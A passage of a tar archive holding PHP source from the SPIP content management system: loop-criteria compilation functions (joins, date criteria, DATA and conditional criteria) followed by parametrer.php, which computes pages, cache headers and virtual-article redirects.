fonction n'est pas très clair ? * * @param array $decompose Liste nom du champ, code PHP pour obtenir la valeur * @param string $table Nom de la table * @return string[] * Liste de 3 éléments pour une description where du compilateur : * - operateur (=), * - table.champ, * - valeur **/ function primary_doublee($decompose, $table) { $e1 = reset($decompose); $e2 = "sql_quote('" . end($decompose) . "')"; return array("'='", "'$table." . $e1 . "'", $e2); } /** * Champ hors table, ça ne peut être qu'une jointure. * * On cherche la table du champ et on regarde si elle est déjà jointe * Si oui et qu'on y cherche un champ nouveau, pas de jointure supplementaire * Exemple: criteres {titre_mot=...}{type_mot=...} * Dans les 2 autres cas ==> jointure * (Exemple: criteres {type_mot=...}{type_mot=...} donne 2 jointures * pour selectioner ce qui a exactement ces 2 mots-cles. * * @param Boucle $boucle * Description de la boucle * @param array $joints * Liste de jointures possibles (ex: $boucle->jointures ou $boucle->jointures_explicites) * @param string $col * Colonne cible de la jointure * @param array $desc * Description de la table * @param bool $cond * Flag pour savoir si le critère est conditionnel ou non * @param bool|string $checkarrivee * string : nom de la table jointe où on veut trouver le champ. * n'a normalement pas d'appel sans $checkarrivee. * @return string * Alias de la table de jointure (Lx) * Vide sinon. */ function calculer_critere_externe_init(&$boucle, $joints, $col, $desc, $cond, $checkarrivee = false) { // si on demande un truc du genre spip_mots // avec aussi spip_mots_liens dans les jointures dispo // et qu'on est la // il faut privilegier la jointure directe en 2 etapes spip_mots_liens, spip_mots if ($checkarrivee and is_string($checkarrivee) and $a = table_objet($checkarrivee) and in_array($a . '_liens', $joints) ) { if ($res = calculer_lien_externe_init($boucle, $joints, $col, $desc, $cond, $checkarrivee)) { return $res; } } foreach ($joints as $joint) { if ($arrivee = trouver_champ_exterieur($col, array($joint), $boucle, $checkarrivee)) { // alias de table dans le from $t = array_search($arrivee[0], $boucle->from); // recuperer la cle id_xx eventuellement decomposee en (id_objet,objet) $cols = $arrivee[2]; // mais on ignore la 3eme cle si presente qui correspond alors au point de depart if (count($cols) > 2) { array_pop($cols); } if ($t) { // la table est déjà dans le FROM, on vérifie si le champ est utilisé. $joindre = false; foreach ($cols as $col) { $c = '/\b' . $t . ".$col" . '\b/'; if (trouver_champ($c, $boucle->where)) { $joindre = true; } else { // mais ca peut etre dans le FIELD pour le Having $c = "/FIELD.$t" . ".$col,/"; if (trouver_champ($c, $boucle->select)) { $joindre = true; } } } if (!$joindre) { return $t; } } array_pop($arrivee); if ($res = calculer_jointure($boucle, array($boucle->id_table, $desc), $arrivee, $cols, $cond, 1)) { return $res; } } } return ''; } /** * Générer directement une jointure via une table de lien spip_xxx_liens * pour un critère {id_xxx} * * @todo $checkarrivee doit être obligatoire ici ? * * @param Boucle $boucle * Description de la boucle * @param array $joints * Liste de jointures possibles (ex: $boucle->jointures ou $boucle->jointures_explicites) * @param string $col * Colonne cible de la jointure * @param array $desc * Description de la table * @param bool $cond * Flag pour savoir si le critère est conditionnel ou non * @param bool|string $checkarrivee * string : nom de la table jointe où on veut trouver le champ. * n'a normalement pas d'appel sans $checkarrivee. * @return string * Alias de la table de jointure (Lx) */ function calculer_lien_externe_init(&$boucle, $joints, $col, $desc, $cond, $checkarrivee = false) { $primary_arrivee = id_table_objet($checkarrivee); // [FIXME] $checkarrivee peut-il arriver avec false ???? $intermediaire = trouver_champ_exterieur($primary_arrivee, $joints, $boucle, $checkarrivee . "_liens"); $arrivee = trouver_champ_exterieur($col, $joints, $boucle, $checkarrivee); if (!$intermediaire or !$arrivee) { return ''; } array_pop($intermediaire); // enlever la cle en 3eme argument array_pop($arrivee); // enlever la cle en 3eme argument $res = fabrique_jointures($boucle, array( array( $boucle->id_table, $intermediaire, array(id_table_objet($desc['table_objet']), 'id_objet', 'objet', $desc['type']) ), array(reset($intermediaire), $arrivee, $primary_arrivee) ), $cond, $desc, $boucle->id_table, array($col)); return $res; } /** * Recherche la présence d'un champ dans une valeur de tableau * * @param string $champ * Expression régulière pour trouver un champ donné. * Exemple : /\barticles.titre\b/ * @param array $where * Tableau de valeurs dans lesquels chercher le champ. * @return bool * true si le champ est trouvé quelque part dans $where * false sinon. **/ function trouver_champ($champ, $where) { if (!is_array($where)) { return preg_match($champ, $where); } else { foreach ($where as $clause) { if (trouver_champ($champ, $clause)) { return true; } } return false; } } /** * Détermine l'operateur et les opérandes d'un critère non déclaré * * Lorsque l'opérateur n'est pas explicite comme sur {id_article>0} c'est * l'opérateur '=' qui est utilisé. * * Traite les cas particuliers id_parent, id_enfant, date, lang * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return array * Liste : * - string $fct Nom d'une fonction SQL sur le champ ou vide (ex: SUM) * - string $col Nom de la colonne SQL utilisée * - string $op Opérateur * - string[] $val * Liste de codes PHP obtenant les valeurs des comparaisons (ex: id_article sur la boucle parente) * Souvent un tableau d'un seul élément. * - string $args_sql Suite des arguments du critère. ? **/ function calculer_critere_infixe_ops($idb, &$boucles, $crit) { // cas d'une valeur comparee a elle-meme ou son referent if (count($crit->param) == 0) { $op = '='; $col = $val = $crit->op; if (preg_match('/^(.*)\.(.*)$/', $col, $r)) { $val = $r[2]; } // Cas special {lang} : aller chercher $GLOBALS['spip_lang'] if ($val == 'lang') { $val = array(kwote('$GLOBALS[\'spip_lang\']')); } else { $defaut = null; if ($val == 'id_parent') { // Si id_parent, comparer l'id_parent avec l'id_objet // de la boucle superieure.... faudrait verifier qu'il existe // pour eviter l'erreur SQL $val = $boucles[$idb]->primary; // mais si pas de boucle superieure, prendre id_parent dans l'env $defaut = "@\$Pile[0]['id_parent']"; } elseif ($val == 'id_enfant') { // Si id_enfant, comparer l'id_objet avec l'id_parent // de la boucle superieure $val = 'id_parent'; } elseif ($crit->cond and ($col == "date" or $col == "date_redac")) { // un critere conditionnel sur date est traite a part // car la date est mise d'office par SPIP, $defaut = "(\$Pile[0]['{$col}_default']?'':\$Pile[0]['" . $col . "'])"; } $val = calculer_argument_precedent($idb, $val, $boucles, $defaut); $val = array(kwote($val)); } } else { // comparaison explicite // le phraseur impose que le premier param soit du texte $params = $crit->param; $op = $crit->op; if ($op == '==') { $op = 'REGEXP'; } $col = array_shift($params); $col = $col[0]->texte; $val = array(); $desc = array('id_mere' => $idb); $parent = $boucles[$idb]->id_parent; // Dans le cas {x=='#DATE'} etc, defaire le travail du phraseur, // celui ne sachant pas ce qu'est un critere infixe // et a fortiori son 2e operande qu'entoure " ou ' if (count($params) == 1 and count($params[0]) == 3 and $params[0][0]->type == 'texte' and $params[0][2]->type == 'texte' and ($p = $params[0][0]->texte) == $params[0][2]->texte and (($p == "'") or ($p == '"')) and $params[0][1]->type == 'champ' ) { $val[] = "$p\\$p#" . $params[0][1]->nom_champ . "\\$p$p"; } else { foreach ((($op != 'IN') ? $params : calculer_vieux_in($params)) as $p) { $a = calculer_liste($p, $desc, $boucles, $parent); if (strcasecmp($op, 'IN') == 0) { $val[] = $a; } else { $val[] = kwote($a, $boucles[$idb]->sql_serveur, '@@defaultcast@@'); } // toujours quoter en char ici } } } $fct = $args_sql = ''; // fonction SQL ? // chercher FONCTION(champ) tel que CONCAT(titre,descriptif) if (preg_match('/^(.*)' . SQL_ARGS . '$/', $col, $m)) { $fct = $m[1]; preg_match('/^\(([^,]*)(.*)\)$/', $m[2], $a); $col = $a[1]; if (preg_match('/^(\S*)(\s+AS\s+.*)$/i', $col, $m)) { $col = $m[1]; $args_sql = $m[2]; } $args_sql .= $a[2]; } return array($fct, $col, $op, $val, $args_sql); } // compatibilite ancienne version // http://code.spip.net/@calculer_vieux_in function calculer_vieux_in($params) { $deb = $params[0][0]; $k = count($params) - 1; $last = $params[$k]; $j = count($last) - 1; $last = $last[$j]; $n = isset($last->texte) ? strlen($last->texte) : 0; if (!((isset($deb->texte[0]) and $deb->texte[0] == '(') && (isset($last->texte[$n - 1]) and $last->texte[$n - 1] == ')')) ) { return $params; } $params[0][0]->texte = substr($deb->texte, 1); // attention, on peut avoir k=0,j=0 ==> recalculer $last = $params[$k][$j]; $n = strlen($last->texte); $params[$k][$j]->texte = substr($last->texte, 0, $n - 1); $newp = array(); foreach ($params as $v) { if ($v[0]->type != 'texte') { $newp[] = $v; } else { foreach (explode(',', $v[0]->texte) as $x) { $t = new Texte; $t->texte = $x; $newp[] = array($t); } } } return $newp; } /** * Calcule les cas particuliers de critères de date * * Lorsque la colonne correspond à un critère de date, tel que * jour, jour_relatif, jour_x, age, age_relatif, age_x... * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param string $col Nom du champ demandé * @return string|array * chaine vide si ne correspond pas à une date, * sinon liste * - expression SQL de calcul de la date, * - nom de la colonne de date (si le calcul n'est pas relatif) **/ function calculer_critere_infixe_date($idb, &$boucles, $col) { if (!preg_match(",^((age|jour|mois|annee)_relatif|date|mois|annee|jour|heure|age)(_[a-z]+)?$,", $col, $regs)) { return ''; } $boucle = $boucles[$idb]; $table = $boucle->show; // si c'est une colonne de la table, ne rien faire if (isset($table['field'][$col])) { return ''; } if (!$table['date'] && !isset($GLOBALS['table_date'][$table['id_table']])) { return ''; } $pred = $date_orig = isset($GLOBALS['table_date'][$table['id_table']]) ? $GLOBALS['table_date'][$table['id_table']] : $table['date']; $col = $regs[1]; if (isset($regs[3]) and $suite = $regs[3]) { # Recherche de l'existence du champ date_xxxx, # si oui choisir ce champ, sinon choisir xxxx if (isset($table['field']["date$suite"])) { $date_orig = 'date' . $suite; } else { $date_orig = substr($suite, 1); } $pred = $date_orig; } else { if (isset($regs[2]) and $rel = $regs[2]) { $pred = 'date'; } } $date_compare = "\"' . normaliser_date(" . calculer_argument_precedent($idb, $pred, $boucles) . ") . '\""; $col_vraie = $date_orig; $date_orig = $boucle->id_table . '.' . $date_orig; switch ($col) { case 'date': $col = $date_orig; break; case 'jour': $col = "DAYOFMONTH($date_orig)"; break; case 'mois': $col = "MONTH($date_orig)"; break; case 'annee': $col = "YEAR($date_orig)"; break; case 'heure': $col = "DATE_FORMAT($date_orig, \\'%H:%i\\')"; break; case 'age': $col = calculer_param_date("NOW()", $date_orig); $col_vraie = "";// comparer a un int (par defaut) break; case 'age_relatif': $col = calculer_param_date($date_compare, $date_orig); $col_vraie = "";// comparer a un int (par defaut) break; case 'jour_relatif': $col = "(TO_DAYS(" . $date_compare . ")-TO_DAYS(" . $date_orig . "))"; $col_vraie = "";// comparer a un int (par defaut) break; case 'mois_relatif': $col = "MONTH(" . $date_compare . ")-MONTH(" . $date_orig . ")+12*(YEAR(" . $date_compare . ")-YEAR(" . $date_orig . "))"; $col_vraie = "";// comparer a un int (par defaut) break; case 'annee_relatif': $col = "YEAR(" . $date_compare . ")-YEAR(" . $date_orig . ")"; $col_vraie = "";// comparer a un int (par defaut) break; } return array($col, $col_vraie); } /** * Calcule l'expression SQL permettant de trouver un nombre de jours écoulés. * * Le calcul SQL retournera un nombre de jours écoulés entre la date comparée * et la colonne SQL indiquée * * @param string $date_compare * Code PHP permettant d'obtenir le timestamp référent. * C'est à partir de lui que l'on compte les jours * @param string $date_orig * Nom de la colonne SQL qui possède la date * @return string * Expression SQL calculant le nombre de jours écoulé entre une valeur * de colonne SQL et une date. **/ function calculer_param_date($date_compare, $date_orig) { if (preg_match(",'\" *\.(.*)\. *\"',", $date_compare, $r)) { $init = "'\" . (\$x = $r[1]) . \"'"; $date_compare = '\'$x\''; } else { $init = $date_compare; } return // optimisation : mais prevoir le support SQLite avant "TIMESTAMPDIFF(HOUR,$date_orig,$init)/24"; } /** * Compile le critère {source} d'une boucle DATA * * Permet de déclarer le mode d'obtention des données dans une boucle * DATA (premier argument) et les données (la suite). * * @example * (DATA){source mode, "xxxxxx", arg, arg, arg} * (DATA){source tableau, #LISTE{un,deux,trois}} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_DATA_source_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $args = array(); foreach ($crit->param as &$param) { array_push($args, calculer_liste($param, array(), $boucles, $boucles[$idb]->id_parent)); } $boucle->hash .= ' $command[\'sourcemode\'] = ' . array_shift($args) . ";\n"; $boucle->hash .= ' $command[\'source\'] = array(' . join(', ', $args) . ");\n"; } /** * Compile le critère {datasource} d'une boucle DATA * * Permet de déclarer le mode d'obtention des données dans une boucle DATA * * @deprecated Utiliser directement le critère {source} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_DATA_datasource_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $boucle->hash .= ' $command[\'source\'] = array(' . calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent) . '); $command[\'sourcemode\'] = ' . calculer_liste($crit->param[1], array(), $boucles, $boucles[$idb]->id_parent) . ';'; } /** * Compile le critère {datacache} d'une boucle DATA * * Permet de transmettre une durée de cache (time to live) utilisée * pour certaines sources d'obtention des données (par exemple RSS), * indiquant alors au bout de combien de temps la donnée est à réobtenir. * * La durée par défaut est 1 journée. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_DATA_datacache_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $boucle->hash .= ' $command[\'datacache\'] = ' . calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent) . ';'; } /** * Compile le critère {args} d'une boucle PHP * * Permet de passer des arguments à un iterateur non-spip * (PHP:xxxIterator){args argument1, argument2, argument3} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_php_args_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $boucle->hash .= '$command[\'args\']=array();'; foreach ($crit->param as $param) { $boucle->hash .= ' $command[\'args\'][] = ' . calculer_liste($param, array(), $boucles, $boucles[$idb]->id_parent) . ';'; } } /** * Compile le critère {liste} d'une boucle DATA * * Passe une liste de données à l'itérateur DATA * * @example * (DATA){liste X1, X2, X3} * équivalent à (DATA){source tableau,#LISTE{X1, X2, X3}} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_DATA_liste_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $boucle->hash .= "\n\t" . '$command[\'liste\'] = array();' . "\n"; foreach ($crit->param as $param) { $boucle->hash .= "\t" . '$command[\'liste\'][] = ' . calculer_liste($param, array(), $boucles, $boucles[$idb]->id_parent) . ";\n"; } } /** * Compile le critère {enum} d'une boucle DATA * * Passe les valeurs de début et de fin d'une énumération, qui seront * vues comme une liste d'autant d'éléments à parcourir pour aller du * début à la fin. * * Cela utilisera la fonction range() de PHP. * * @example * (DATA){enum Xdebut, Xfin} * (DATA){enum a,z} * (DATA){enum z,a} * (DATA){enum 1.0,9.2} * * @link http://php.net/manual/fr/function.range.php * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_DATA_enum_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $boucle->hash .= "\n\t" . '$command[\'enum\'] = array();' . "\n"; foreach ($crit->param as $param) { $boucle->hash .= "\t" . '$command[\'enum\'][] = ' . calculer_liste($param, array(), $boucles, $boucles[$idb]->id_parent) . ";\n"; } } /** * Compile le critère {datapath} d'une boucle DATA * * Extrait un chemin d'un tableau de données * * (DATA){datapath query.results} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_DATA_datapath_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; foreach ($crit->param as $param) { $boucle->hash .= ' $command[\'datapath\'][] = ' . calculer_liste($param, array(), $boucles, $boucles[$idb]->id_parent) . ';'; } } /** * Compile le critère {si} * * Le critère {si condition} est applicable à toutes les boucles et conditionne * l'exécution de la boucle au résultat de la condition. La partie alternative * de la boucle est alors affichée si une condition n'est pas remplie (comme * lorsque la boucle ne ramène pas de résultat). * La différence étant que si la boucle devait réaliser une requête SQL * (par exemple une boucle ARTICLES), celle ci n'est pas réalisée si la * condition n'est pas remplie. * * Les valeurs de la condition sont forcément extérieures à cette boucle * (sinon il faudrait l'exécuter pour connaître le résultat, qui doit tester * si on exécute la boucle !) * * Si plusieurs critères {si} sont présents, ils sont cumulés : * si une seule des conditions n'est pas vérifiée, la boucle n'est pas exécutée. * * @example * {si #ENV{exec}|=={article}} * {si (#_contenu:GRAND_TOTAL|>{10})} * {si #AUTORISER{voir,articles}} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_si_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; // il faut initialiser 1 fois le tableau a chaque appel de la boucle // (par exemple lorsque notre boucle est appelee dans une autre boucle) // mais ne pas l'initialiser n fois si il y a n criteres {si } dans la boucle ! $boucle->hash .= "\n\tif (!isset(\$si_init)) { \$command['si'] = array(); \$si_init = true; }\n"; if ($crit->param) { foreach ($crit->param as $param) { $boucle->hash .= "\t\$command['si'][] = " . calculer_liste($param, array(), $boucles, $boucles[$idb]->id_parent) . ";\n"; } // interdire {si 0} aussi ! } else { $boucle->hash .= '$command[\'si\'][] = 0;'; } } /** * Compile le critère {tableau} d'une boucle POUR * * {tableau #XX} pour compatibilite ascendante boucle POUR * ... préférer la notation (DATA){source tableau,#XX} * * @deprecated Utiliser une boucle (DATA){source tableau,#XX} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_POUR_tableau_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $boucle->hash .= ' $command[\'source\'] = array(' . calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent) . '); $command[\'sourcemode\'] = \'table\';'; } /** * Compile le critère {noeud} * * Trouver tous les objets qui ont des enfants (les noeuds de l'arbre) * {noeud} * {!noeud} retourne les feuilles * * @global array $exceptions_des_tables * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_noeud_dist($idb, &$boucles, $crit) { $not = $crit->not; $boucle = &$boucles[$idb]; $primary = $boucle->primary; if (!$primary or strpos($primary, ',')) { erreur_squelette(_T('zbug_doublon_sur_table_sans_cle_primaire'), $boucle); return; } $table = $boucle->type_requete; $table_sql = table_objet_sql(objet_type($table)); $id_parent = isset($GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent']) ? $GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent'] : 'id_parent'; $in = "IN"; $where = array("'IN'", "'$boucle->id_table." . "$primary'", "'('.sql_get_select('$id_parent', '$table_sql').')'"); if ($not) { $where = array("'NOT'", $where); } $boucle->where[] = $where; } /** * Compile le critère {feuille} * * Trouver tous les objets qui n'ont pas d'enfants (les feuilles de l'arbre) * {feuille} * {!feuille} retourne les noeuds * * @global array $exceptions_des_tables * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_feuille_dist($idb, &$boucles, $crit) { $not = $crit->not; $crit->not = $not ? false : true; critere_noeud_dist($idb, $boucles, $crit); $crit->not = $not; } parametrer.php000066600000022676152442520540007443 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/lang'); // NB: mes_fonctions peut initialiser $dossier_squelettes (old-style) // donc il faut l'inclure "en globals" if ($f = find_in_path('mes_fonctions.php')) { global $dossier_squelettes; include_once(_ROOT_CWD . $f); } if (@is_readable(_CACHE_PLUGINS_FCT)) { // chargement optimise precompile include_once(_CACHE_PLUGINS_FCT); } if (test_espace_prive()) { include_spip('inc/filtres_ecrire'); } # Determine le squelette associe a une requete # et l'applique sur le contexte, le nom du cache et le serveur # en ayant evacue au prealable le cas de la redirection # Retourne un tableau ainsi construit # 'texte' => la page calculee # 'process_ins' => 'html' ou 'php' si presence d'un '< ?php' # 'invalideurs' => les invalideurs de ce cache # 'entetes' => headers http # 'duree' => duree de vie du cache # 'signal' => contexte (les id_* globales) # En cas d'erreur process_ins est absent et texte est un tableau de 2 chaines // http://code.spip.net/@public_parametrer_dist function public_parametrer_dist($fond, $contexte = '', $cache = '', $connect = '') { static $composer, $styliser, $notes = null; $page = tester_redirection($fond, $contexte, $connect); if ($page) { return $page; } if (isset($contexte['lang'])) { $lang = $contexte['lang']; } elseif (!isset($lang)) { $lang = $GLOBALS['meta']['langue_site']; } $select = ((!isset($GLOBALS['forcer_lang']) or !$GLOBALS['forcer_lang']) and $lang <> $GLOBALS['spip_lang']); if ($select) { $select = lang_select($lang); } $debug = (defined('_VAR_MODE') && _VAR_MODE == 'debug'); if (!$styliser) { $styliser = charger_fonction('styliser', 'public'); } list($skel, $mime_type, $gram, $sourcefile) = $styliser($fond, $contexte, $GLOBALS['spip_lang'], $connect); if ($skel) { // sauver le nom de l'eventuel squelette en cours d'execution // (recursion possible a cause des modeles) if ($debug) { $courant = @$GLOBALS['debug_objets']['courant']; $GLOBALS['debug_objets']['contexte'][$sourcefile] = $contexte; } // charger le squelette en specifiant les langages cibles et source // au cas il faudrait le compiler (source posterieure au resultat) if (!$composer) { $composer = charger_fonction('composer', 'public'); } $fonc = $composer($skel, $mime_type, $gram, $sourcefile, $connect); } else { $fonc = ''; } if (!$fonc) { // squelette inconnu (==='') ou faux (===false) $page = $fonc; } else { // Preparer l'appel de la fonction principale du squelette spip_timer($a = 'calcul page ' . rand(0, 1000)); // On cree un marqueur de notes unique lie a cette composition // et on enregistre l'etat courant des globales de notes... if (is_null($notes)) { $notes = charger_fonction('notes', 'inc', true); } if ($notes) { $notes('', 'empiler'); } // Rajouter d'office ces deux parametres // (mais vaudrait mieux que le compilateur sache le simuler // car ca interdit l'usage de criteres conditionnels dessus). if (!isset($contexte['date'])) { $contexte['date'] = date("Y-m-d H:i:s"); $contexte['date_default'] = true; } else { $contexte['date'] = normaliser_date($contexte['date'], true); } if (!isset($contexte['date_redac'])) { $contexte['date_redac'] = date("Y-m-d H:i:s"); $contexte['date_redac_default'] = true; } else { $contexte['date_redac'] = normaliser_date($contexte['date_redac'], true); } // Passer le nom du cache pour produire sa destruction automatique $page = $fonc(array('cache' => $cache), array($contexte)); // Restituer les globales de notes telles qu'elles etaient avant l'appel // Si l'inclus n'a pas affiche ses notes, tant pis (elles *doivent* // etre dans son resultat, autrement elles ne seraient pas prises en // compte a chaque calcul d'un texte contenant un modele, mais seulement // quand le modele serait calcule, et on aurait des resultats incoherents) if ($notes) { $notes('', 'depiler'); } // reinjecter en dynamique la pile des notes // si il y a des inclure dynamiques // si la pile n'est pas vide // la generalisation de cette injection permettrait de corriger le point juste au dessus // en faisant remonter les notes a l'incluant (A tester et valider avant application) if ($notes) { $page['notes'] = $notes('', 'sauver_etat'); } // spip_log: un joli contexte $infos = array(); foreach (array_filter($contexte) as $var => $val) { if (is_array($val)) { $val = serialize($val); } if (strlen("$val") > 30) { $val = substr("$val", 0, 27) . '..'; } if (strstr($val, ' ')) { $val = "'$val'"; } $infos[] = $var . '=' . $val; } $profile = spip_timer($a); spip_log("calcul ($profile) [$skel] " . join(', ', $infos) . ' (' . strlen($page['texte']) . ' octets)'); if (defined('_CALCUL_PROFILER') AND intval($profile)>_CALCUL_PROFILER){ spip_log("calcul ($profile) [$skel] " . join(', ', $infos) .' ('.strlen($page['texte']).' octets) | '.$_SERVER['REQUEST_URI'],"profiler"._LOG_AVERTISSEMENT); } if ($debug) { // si c'est ce que demande le debusqueur, lui passer la main $t = strlen($page['texte']) ? $page['texte'] : " "; $GLOBALS['debug_objets']['resultat'][$fonc . 'tout'] = $t; $GLOBALS['debug_objets']['courant'] = $courant; $GLOBALS['debug_objets']['profile'][$sourcefile] = $profile; if ($GLOBALS['debug_objets']['sourcefile'] and (_request('var_mode_objet') == $fonc) and (_request('var_mode_affiche') == 'resultat') ) { erreur_squelette(); } } // Si #CACHE{} n'etait pas la, le mettre a $delais if (!isset($page['entetes']['X-Spip-Cache'])) { // Dans l'espace prive ou dans un modeles/ on pose un cache 0 par defaut // si aucun #CACHE{} spécifié // le contexte implicite qui conditionne le cache assure qu'on retombe pas sur le meme // entre public et prive if (test_espace_prive() or strncmp($fond, 'modeles/', 8) == 0) { $page['entetes']['X-Spip-Cache'] = 0; } else { $page['entetes']['X-Spip-Cache'] = isset($GLOBALS['delais']) ? $GLOBALS['delais'] : 36000; } } $page['contexte'] = $contexte; // faire remonter le fichier source static $js_inclus = false; if (defined('_VAR_INCLURE') and _VAR_INCLURE) { $page['sourcefile'] = $sourcefile; $page['texte'] = "<div class='inclure_blocs'><h6>" . $page['sourcefile'] . "</h6>" . $page['texte'] . "</div>" . ($js_inclus ? "" : "<script type='text/javascript'>jQuery(function(){jQuery('.inclure_blocs > h6:first-child').hover(function(){jQuery(this).parent().addClass('hover')},function(){jQuery(this).parent().removeClass('hover')})});</script>"); $js_inclus = true; } // Si un modele contenait #SESSION, on note l'info dans $page if (isset($GLOBALS['cache_utilise_session'])) { $page['invalideurs']['session'] = $GLOBALS['cache_utilise_session']; unset($GLOBALS['cache_utilise_session']); } } if ($select) { lang_select(); } return $page; } /** * Si le champ virtuel est non vide c'est une redirection. * avec un eventuel raccourci Spip * * si le raccourci a un titre il sera pris comme corps du 302 * * @uses public_tester_redirection_dist() * @param string $fond * @param array $contexte * @param string $connect * @return array|bool */ function tester_redirection($fond, $contexte, $connect) { static $tester_redirection = null; if (is_null($tester_redirection)) { $tester_redirection = charger_fonction('tester_redirection', 'public'); } return $tester_redirection($fond, $contexte, $connect); } /** * Si le champ virtuel est non vide c'est une redirection. * avec un eventuel raccourci Spip * * si le raccourci a un titre il sera pris comme corps du 302 * * @param string $fond * @param array $contexte * @param string $connect * @return array|bool */ function public_tester_redirection_dist($fond, $contexte, $connect) { if ($fond == 'article' and $id_article = intval($contexte['id_article']) ) { include_spip('public/quete'); // pour quete_virtuel et ses dependances $m = quete_virtuel($id_article, $connect); if (strlen($m)) { include_spip('inc/texte'); // les navigateurs pataugent si l'URL est vide if ($url = virtuel_redirige($m, true)) { // passer en url absolue car cette redirection pourra // etre utilisee dans un contexte d'url qui change // y compris url arbo $status = 302; if (defined('_STATUS_REDIRECTION_VIRTUEL')) { $status = _STATUS_REDIRECTION_VIRTUEL; } if (!preg_match(',^\w+:,', $url)) { include_spip('inc/filtres_mini'); $url = url_absolue($url); } $url = str_replace('&', '&', $url); return array( 'texte' => "<" . "?php include_spip('inc/headers');redirige_par_entete('" . texte_script($url) . "','',$status);" . "?" . ">", 'process_ins' => 'php', 'status' => $status ); } } } return false; }
/home/atelierpru/provence/6bf95/../tmp/../52177/public.tar